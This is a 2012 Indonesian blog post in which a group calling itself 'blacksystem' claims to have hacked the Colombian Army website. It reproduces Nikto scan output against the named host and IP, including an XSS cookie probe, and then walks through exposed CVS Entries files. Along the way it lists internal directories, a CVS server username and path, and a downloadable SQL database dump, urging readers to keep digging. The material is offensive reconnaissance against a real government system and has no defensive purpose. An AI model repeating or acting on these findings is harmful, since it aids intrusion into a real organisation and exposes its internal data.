Kamis, 17 Mei 2012

hacked .ejercito.mil.co---->blacksystem

Diposting oleh Unknown di 20.21
  1.    *************************
  2.                                           team hacker blacksystem
  3.                                          **************************
  4.  
  5. target:www.ejercito.mil.co
  6.  
  7.  
  8.  Nikto v2.03/2.04
  9. ---------------------------------------------------------------------------
  10. + Target IP:          201.234.71.183
  11. + Target Hostname:    www.ejercito.mil.co
  12. + Target Port:        80
  13. + Start Time:         2009-06-25 8:11:08
  14. ---------------------------------------------------------------------------
  15. + Server: Apache/2.2.10 (Unix) mod_ssl/2.2.10 OpenSSL/0.9.8i
  16. - /robots.txt - contains 4 'disallow' entries which should be manually viewed. (
  17. GET)
  18. + OSVDB-0: ETag header found on server, inode: 2105479, size: 92, mtime: 0x460a0?
  19. b1bf9800
  20. + mod_ssl/2.2.10 appears to be outdated (current is at least 2.8.31) (may depend
  21.  on server version)
  22. + mod_ssl/2.2.10 OpenSSL/0.9.8i - mod_ssl 2.8.7 and lower are vulnerable to a re
  23. mote buffer overflow which may allow a remote shell (difficult to exploit). http
  24. ://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0082.
  25. + OSVDB-0: GET /CVS/Entries : CVS Entries file may contain directory listing inf
  26. ormation.
  27. + OSVDB-0: GET /index.php?module=My_eGallery? : My_eGallery? prior to 3.1.1.g are
  28. vulnerable to a remote execution bug via SQL command injection.
  29. + OSVDB-877: TRACE / : TRACE option appears to allow XSS or credential theft. Se
  30. e http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details
  31.  
  32. + OSVDB-877: TRACE / : TRACE option appears to allow XSS or credential theft. Se
  33. e http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details
  34. + OSVDB-3092: GET /tools/ : This might be interesting...
  35. + OSVDB-3093: GET /index.php?base=test%20 : This might be interesting... has bee
  36. n seen in web logs from an unknown scanner.
  37. + OSVDB-3093: GET /index.php?IDAdmin=test : This might be interesting... has bee
  38. n seen in web logs from an unknown scanner.
  39. + OSVDB-3093: GET /index.php?pymembs=admin : This might be interesting... has be
  40. en seen in web logs from an unknown scanner.
  41. + OSVDB-3093: GET /index.php?SqlQuery?=test%20 : This might be interesting... has
  42.  been seen in web logs from an unknown scanner.
  43. + OSVDB-3093: GET /index.php?tampon=test%20 : This might be interesting... has b
  44. een seen in web logs from an unknown scanner.
  45. + OSVDB-3093: GET /index.php?topic=<script>alert(document.cookie)&
  46. amp;lt;/script>%20 : This might be interesting... has been seen in web lo
  47. gs from an unknown scanner.
  48. + 3577 items checked: 14 item(s) reported on remote host
  49. + End Time:        2009-06-25 8:16:08 (324 seconds)
  50. ---------------------------------------------------------------------------
  51. + 1 host(s) tested
  52.  
  53. Test Options: -host www.ejercito.mil.co
  54. ---------------------------------------------------------------------------
  55. ----
  56. la dirección http://www.ejercito.mil.co//CVS/Entries responde
  57.  
  58. D/cache////
  59. D/documentacion////
  60. D/js////
  61. D/recursos_user////
  62. D/tools////
  63. D/_administracion////
  64. D/_config////
  65. D/_crontab////
  66. D/_db////
  67. D/_editor////
  68. D/_include////
  69. D/_interfaz////
  70. D/_lib////
  71. D/_templates////
  72. D/_templates_boletin////
  73. /.htaccess/1.1/Fri Nov 11 19:34:16 2005//
  74. /.project/1.1/Thu Sep 14 16:07:03 2006//
  75. /giveprivileges/1.1/Thu Jun 22 14:50:53 2006//
  76. /index.php/1.1/Wed Nov 29 13:52:41 2006//
  77. /info.php/1.1/Tue Feb 28 19:43:19 2006//
  78. /robots.txt/1.1/Tue Aug 16 16:54:52 2005//
  79. /contenido.xml/1.2/Thu Dec 14 00:07:15 2006//
  80. /BannerNavidad?.jpg/1.1/Thu Dec 14 22:01:17 2006/-kb/
  81. /foto_noticias.swf/1.1/Wed Dec 20 20:41:50 2006/-kb/
  82. /foto_noticias_ingles.swf/1.1/Wed Dec 20 20:20:16 2006/-kb/
  83. D/recursos_foto_noticia////
  84. http://www.ejercito.mil.co/giveprivileges es
  85.  
  86. #/bin/sh
  87. chmod 777 -R _administracion/templates_c/ cache/ _templates/Default/templates_c/
  88. http://www.ejercito.mil.co//CVS/Root es
  89.  
  90. :pserver:aforero@linuxserver:2401/home/cvs
  91. http://www.ejercito.mil.co//CVS/Repository es
  92.  
  93. ejercito2007
  94. Revisando otros CVS/Entries de otros directorios:
  95.  
  96. http://www.ejercito.mil.co/documentacion/CVS/Entries
  97. D/bd////
  98.  
  99. http://www.ejercito.mil.co/documentacion/bd/CVS/Entries
  100. D/MSSQL////
  101. D/MySQL////
  102. D/Oracle////
  103. D/PostgreSQL////
  104. /bd16-11-2005?.dds/1.1/Wed Jan 11 17:51:06 2006/-kb/
  105. /bdmysql-25-07-2006.sql/1.1/Fri Oct  6 15:33:04 2006//
  106. /delbdmysql.sql/1.1/Fri Oct  6 15:30:23 2006//
  107. y así puede continuarse examinando la estructura del CMS, conociendo los nombres de los archivos pueden revisarse y algunos revelan más información por ejemplo: http://www.ejercito.mil.co/documentacion/bd/bdmysql-25-07-2006.sql

0 komentar:

Posting Komentar

Langganan: Posting Komentar (Atom)